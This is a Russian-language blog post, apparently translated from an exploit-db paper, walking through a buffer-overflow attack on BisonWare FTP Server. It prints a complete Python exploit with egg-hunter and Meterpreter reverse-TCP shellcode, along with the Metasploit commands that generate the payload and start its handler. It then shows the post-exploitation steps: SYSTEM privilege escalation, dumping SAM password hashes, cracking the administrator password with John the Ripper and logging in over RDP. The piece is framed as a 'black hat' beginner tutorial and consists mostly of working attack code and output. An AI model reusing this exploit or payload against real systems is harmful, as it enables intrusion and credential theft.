суббота, 10 марта 2012 г.

Закрепление в системе с Meterpreter (продолжение) - Ч.2

Продолжаем вторую часть статьи, опубликованную в предыдущем посте.

Название статьи: Egg Hunter - A Twist in Buffer Overflow
Оригинал статьи: http://cdn03.exploit-db.com/wp-content/themes/exploit/docs/18482.pdf
Автор: Ashfaq Ansari
Команда: HackSys Team – Panthera
Их сайт: http://hacksys.vfreaks.com



Часть №2. Техника "Egg hunter" в переполнение буфера.


ДУМАЕМ КАК "BLACK HAT"

Конечно хорошо, что мы получили шелл на удаленном компьютере, и можно визжать от радости, как поросенок. Но неудобно в полной мере использовать уязвимость в Windows, имея лишь доступ к командной строке, когда Вы уже написали сплоит для этой уязвимости.

Тем не менее, мы смогли лишь получить командную строку, потому что использовали соответствующий шеллкод, который на большее не способен.

“Black Hat”-хакер может использовать сплоит для полного закрепления в системе Windows, но как? Все дело в создании соответсвующего шеллкода. Существуют различные методы, с помощью которых исполняемые функции могут быть перенесены на шеллкод (в шестнадцатиричное представление). То есть мы должны создать некоторый шеллкод, как для TDL, TDL2, TDL3 руткитов или любых других, которые заражают жертву. Когда жертва инфицирована, атакующий использует ее как плацдарм для своих будущих атак, ботнетов, кражи персональных данных, рассадник червей и так далее.


Давайте по порядку.


Захват системы под Windows, используя Metasploit


METERPRETER


Meterpreter является популярной начинкой (payload) для шеллкодов, который входит в состав Metasploit Framework. Его целью является предоставление различный функций, для закрепления в атакующей системе. Многие разработчики пишут расширения в виде DLL-файлов, которые могут быть загружены и инжектированы в запущенный процесс на жертве, после ее взлома. Meterpreter и все его расширения, которые он загружают, выполняют свои действия в памяти, не трогая жесткий диск, тем самым затрудняя работу антивирусам.


Заметка: для более подробного изучения Metasploit Meterpreter, почитайте сатью skape’а по ссылке:

http://www.hick.org/code/skape/papers/meterpreter.pdf

Дело в том, что, Metasploit дает нам возможность создавать Meterpreter-шеллкод очень легко, без лишнего геморра.


Теперь создадим Meterpreter-начинку, используя Metasploit.


root@bt:/pentest/exploits/framework/tools# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.137.143 R | msfencode -t c

[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)

unsigned char buf[] =

"\xdb\xcd\xd9\x74\x24\xf4\x5b\x29\xc9\xb1\x49\xb8\x79\x72\x39"
"\xff\x31\x43\x19\x03\x43\x19\x83\xeb\xfc\x9b\x87\xc5\x17\xd2"
"\x68\x36\xe8\x84\xe1\xd3\xd9\x96\x96\x90\x48\x26\xdc\xf5\x60"
"\xcd\xb0\xed\xf3\xa3\x1c\x01\xb3\x09\x7b\x2c\x44\xbc\x43\xe2"
"\x86\xdf\x3f\xf9\xda\x3f\x01\x32\x2f\x3e\x46\x2f\xc0\x12\x1f"
"\x3b\x73\x82\x14\x79\x48\xa3\xfa\xf5\xf0\xdb\x7f\xc9\x85\x51"
"\x81\x1a\x35\xee\xc9\x82\x3d\xa8\xe9\xb3\x92\xab\xd6\xfa\x9f"
"\x1f\xac\xfc\x49\x6e\x4d\xcf\xb5\x3c\x70\xff\x3b\x3d\xb4\x38"
"\xa4\x48\xce\x3a\x59\x4a\x15\x40\x85\xdf\x88\xe2\x4e\x47\x69"
"\x12\x82\x11\xfa\x18\x6f\x56\xa4\x3c\x6e\xbb\xde\x39\xfb\x3a"
"\x31\xc8\xbf\x18\x95\x90\x64\x01\x8c\x7c\xca\x3e\xce\xd9\xb3"
"\x9a\x84\xc8\xa0\x9c\xc6\x84\x05\x92\xf8\x54\x02\xa5\x8b\x66"
"\x8d\x1d\x04\xcb\x46\xbb\xd3\x2c\x7d\x7b\x4b\xd3\x7e\x7b\x45"
"\x10\x2a\x2b\xfd\xb1\x53\xa0\xfd\x3e\x86\x66\xae\x90\x79\xc6"
"\x1e\x51\x2a\xae\x74\x5e\x15\xce\x76\xb4\x3e\x64\x8c\x5f\x81"
"\xd0\x07\x10\x69\x22\x18\x3e\x36\xab\xfe\x2a\xd6\xfd\xa9\xc2"
"\x4f\xa4\x22\x72\x8f\x73\x4f\xb4\x1b\x77\xaf\x7b\xec\xf2\xa3"
"\xec\x1c\x49\x99\xbb\x23\x64\xb4\x43\xb6\x82\x1f\x13\x2e\x88"
"\x46\x53\xf1\x73\xad\xef\x38\xe1\x0e\x98\x44\xe5\x8e\x58\x13"
"\x6f\x8f\x30\xc3\xcb\xdc\x25\x0c\xc6\x70\xf6\x99\xe8\x20\xaa"
"\x0a\x80\xce\x95\x7d\x0f\x30\xf0\x7f\x6c\xe7\x3d\xfa\x84\x8d"
"\x2d\xc6";


Наша Metepreter-начинка готова. Теперь пора заменить её шеллкод в нашем эксплоите.

#!/usr/bin/python
import socket, sys, time

# HackSys Team - Panthera
# Author: Ashfaq Ansari
# Email: hacksysteam@hotmail.com
# Website: http://hacksys.byethost2.com/
# Thanks:
# Richard Brengle
# Qnix http://www.0x80.org/
# Peter Van Eeckhoutte (corelanc0d3r) https://www.corelan.be/


# Заметка:
# Перед запуском сплоита, установите
Metasploit multi handler

# msfcli exploit/multi/handler LHOST=<Attacker IP> PAYLOAD=windows/meterpreter/reverse_tcp E
# в этой статье IP атакующего такой - 192.168.137.143

# msfcli exploit/multi/handler LHOST=192.168.137.143 PAYLOAD=windows/meterpreter/reverse_tcp E


print "\n================================ "
print " BisonWare FTP Server BOF Overflow "
print " Written by Ashfaq "
print " HackSys Team - Panthera "
print " email:hacksysteam@hotmail.com "
print "=================================\n"

if len(sys.argv) != 3:
print "[*] Usage: %s <target> <port> \n" % sys.argv[0]
sys.exit(0)


target = sys.argv[1]
# аргумент №1
port = int(sys.argv[2]) # аргумент №2
shellcode = ("w00tw00t" + "\xdb\xcd\xd9\x74\x24\xf4\x5b\x29\xc9\xb1\x49\xb8\x79\x72\x39"
"\xff\x31\x43\x19\x03\x43\x19\x83\xeb\xfc\x9b\x87\xc5\x17\xd2"
"\x68\x36\xe8\x84\xe1\xd3\xd9\x96\x96\x90\x48\x26\xdc\xf5\x60"
"\xcd\xb0\xed\xf3\xa3\x1c\x01\xb3\x09\x7b\x2c\x44\xbc\x43\xe2"
"\x86\xdf\x3f\xf9\xda\x3f\x01\x32\x2f\x3e\x46\x2f\xc0\x12\x1f"
"\x3b\x73\x82\x14\x79\x48\xa3\xfa\xf5\xf0\xdb\x7f\xc9\x85\x51"
"\x81\x1a\x35\xee\xc9\x82\x3d\xa8\xe9\xb3\x92\xab\xd6\xfa\x9f"
"\x1f\xac\xfc\x49\x6e\x4d\xcf\xb5\x3c\x70\xff\x3b\x3d\xb4\x38"
"\xa4\x48\xce\x3a\x59\x4a\x15\x40\x85\xdf\x88\xe2\x4e\x47\x69"
"\x12\x82\x11\xfa\x18\x6f\x56\xa4\x3c\x6e\xbb\xde\x39\xfb\x3a"
"\x31\xc8\xbf\x18\x95\x90\x64\x01\x8c\x7c\xca\x3e\xce\xd9\xb3"
"\x9a\x84\xc8\xa0\x9c\xc6\x84\x05\x92\xf8\x54\x02\xa5\x8b\x66"
"\x8d\x1d\x04\xcb\x46\xbb\xd3\x2c\x7d\x7b\x4b\xd3\x7e\x7b\x45"
"\x10\x2a\x2b\xfd\xb1\x53\xa0\xfd\x3e\x86\x66\xae\x90\x79\xc6"
"\x1e\x51\x2a\xae\x74\x5e\x15\xce\x76\xb4\x3e\x64\x8c\x5f\x81"
"\xd0\x07\x10\x69\x22\x18\x3e\x36\xab\xfe\x2a\xd6\xfd\xa9\xc2"
"\x4f\xa4\x22\x72\x8f\x73\x4f\xb4\x1b\x77\xaf\x7b\xec\xf2\xa3"
"\xec\x1c\x49\x99\xbb\x23\x64\xb4\x43\xb6\x82\x1f\x13\x2e\x88"
"\x46\x53\xf1\x73\xad\xef\x38\xe1\x0e\x98\x44\xe5\x8e\x58\x13"
"\x6f\x8f\x30\xc3\xcb\xdc\x25\x0c\xc6\x70\xf6\x99\xe8\x20\xaa"
"\x0a\x80\xce\x95\x7d\x0f\x30\xf0\x7f\x6c\xe7\x3d\xfa\x84\x8d"
"\x2d\xc6") # Meterpreter-начинка

egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
# 32 байта функции  NtDisplayString 
buffer = "\x90"*(1191 - (len(shellcode)+len(egghunter))) # выравнивание стека 

ebx = "\x24\xFC\x9C\x7C" # JMP EBX 7C9CFC24 из Shell32.dll 
nopsled = "\x90"*205 # 205 NOP Sled 


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print "[+] Connecting to %s on port %d" % (target,port)

try:

  s.connect((target,port)) # соединяемся с FTP-сервером 
  s.recv(1024) # принимаем 1024 байт от сервера
  time.sleep(3) # ждем 3 секунды
  print "[+] Sending payload"
  s.recv(2000) # принимаем 2000 байт от сервера
  s.send('USER anonymous\r\n') # отправляем FTP-команду 'USER anonymous'
  s.recv(2000)
  s.send('PASS anonymous\r\n')
# отправляем FTP-команду 'PASS anonymous' 
  s.recv(2000)
  s.send('ABOR ' + shellcode + buffer + egghunter + ebx + nopsled +'\r\n')  
# отправляем FTP-команду  'ABOR ' + хак-данные 
  s.close() # закрываем сокет


print "[+] Exploit Sent Successfully"
print "[+] Waiting for 5 sec before spawning shell to " + target + ":4444
\r"
print "\r"
  time.sleep(5) # ждем 5 секунд перед подключением к шеллу
  os.system("nc -n " + target + " 4444") # подключение к шеллу с помощью NetCat 
print "[-] Connection lost from " + target + ":4444 \r"
except:
print "[-] Could not connect to " + target + ":21\r"
  sys.exit(0) # выход



Перед запуском сплоита, нужно установить payload-обработчик на нашем компе (смотри комментарии в коде).

Когда мы запустим сплоит с новоиспеченной Meterpreter-начинкой, все команды будут исполняться на уровне привилегий запущенного BisonWare FTP-сервера. В скором времени, когда данная начинка выполниться, взломанная система будет коннектиться к компу атакующего. Поэтому мы устанавливали payload-обработчик, перед запуском сплоита.

РАБОТАЕМ ДЕТКА, РАБОТАЕМ!


Откроем консоль и установим payload-обработчик.

root@bt:/pentest/exploits/framework/tools# msfcli exploit/multi/handler LHOST=192.168.137.143 PAYLOAD=windows/meterpreter/reverse_tcp E

[*] Please wait while we load the module tree...

=[ metasploit v4.1.0-release [core:4.1 api:1.0]
+ -- --=[ 748 exploits - 384 auxiliary - 98 post
+ -- --=[ 228 payloads - 27 encoders - 8 nops
=[ svn r14013 updated 02 days ago (2012.1.10)

LHOST => 192.168.137.143
PAYLOAD => windows/meterpreter/reverse_tcp
[*] Started reverse handler on 192.168.137.143:4444
[*] Starting the payload handler...


Наш обработчик готов и ожидает подключения на 192.168.137.143 и порт 4444.

Запускаем сплоит еще раз и проверим, сработает ли Meterpreter-сессия.
Итак, погнали.


root@bt:~/Desktop# ./BisonFTP.py 192.168.137.138 21
================================
BisonWare FTP Server BOF Overflow
Written by Ashfaq
HackSys Team - Panthera
email:hacksysteam@hotmail.com
================================
[+] Connecting to 192.168.137.138 on port 21
[+] Sending payload
[+] Exploit Sent Successfully
[+] Please check Metasploit multi handler window
 root@bt:~/Desktop#


Мы успешно выполнили сплоит. Посмотрим в окно обработчика сплоита:

[*] Sending stage (752128 bytes) to 192.168.137.138
[*] Meterpreter session 1 opened (192.168.137.143:4444 -> 192.168.137.138:1040) at 2012-01-19 00:25:15 +0530


Отлично! Meterpreter-сессия работает. Введем некоторые команды:

meterpreter > getuid
Server username: WINXP\Administrator
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > hashdump
Administrator:500:77cb937e18a85c0daad3b435b51404ee:16a741be8b934f9481ec9b8ca8f93aab:::
apache2triad:1007:6de51ffc77dee47d70c9062845b920bd:fbc9409442e82eb104cf9173d9bab4dd:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
hacksysteam:1008:6de51ffc77dee47d70c9062845b920bd:fbc9409442e82eb104cf9173d9bab4dd:::
HelpAssistant:1000:63064c6ecd8e206bd10cea63c796773e:5efae8b8dfce12971a9b9e4eb8ae4c38:::
IUSR_WINXP:1009:aa90209ace91b4bd17a4eeb7e37f65d3:74bb37e81c69af1f76a9d534917c8fb9:::
IWAM_WINXP:1010:b170ec2c92086b239e815f6452786646:30aa20b20fcaa51e4fb2f91b9b37cda1:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:447baf53c8b1f79594cee7f74777b597:::
 meterpreter >


Разберем полученную инфу по частям.

meterpreter > getuid
Server username: WINXP\Administrator


FTP-сервак работает под админом. Дальше пробуем получить SYSTEM-права:

meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
 Server username: NT AUTHORITY\SYSTEM


Мы успешно получили SYSTEM-права. Сейчас мы можем спи3дить хэши от SAM-аккаунта с помощью команды hashdump.

После этого скормим их Джону (John the Ripper). Но перед этим, сохраним их в отдельном файле:

root@bt:/pentest/passwords/john# echo Administrator:500:77cb937e18a85c0daad3b435b51404ee:16a741be8b934f9481ec9b8ca8f93aab::: >/tmp/hash.txt

Давайте ломанем его!

root@bt:/pentest/passwords/john# ./john /tmp/hash.txt
Loaded 1 password hash (LM DES [128/128 BS SSE2])
ADMIN1! (Administrator)
guesses: 1 time: 0:00:00:07 (3) c/s: 6274K trying: ADEPCI7 - ADMICE8


С полученным паролем мы можем использовать удаленный рабочий стол.


Внимание, данный метод слишком палевный, если есть активные аккаунты, то они заблокируются.


root@bt:~/Desktop# rdesktop 192.168.137.138

Мы это сделали =)! Теперь мы знаем как юзать простой баг, и закрепиться в атакованной системе.


2 комментария:

  1. давайте про закрепление надёжное!

    ОтветитьУдалить
  2. Целью поста не было рассмотрения супер методов закрепления в системе, а был расписан простой способ, да бы понятней было людям, начинающим в этой теме.

    ОтветитьУдалить


profile for Anatoliy Nikolaev at Stack Overflow, Q&A for professional and enthusiast programmers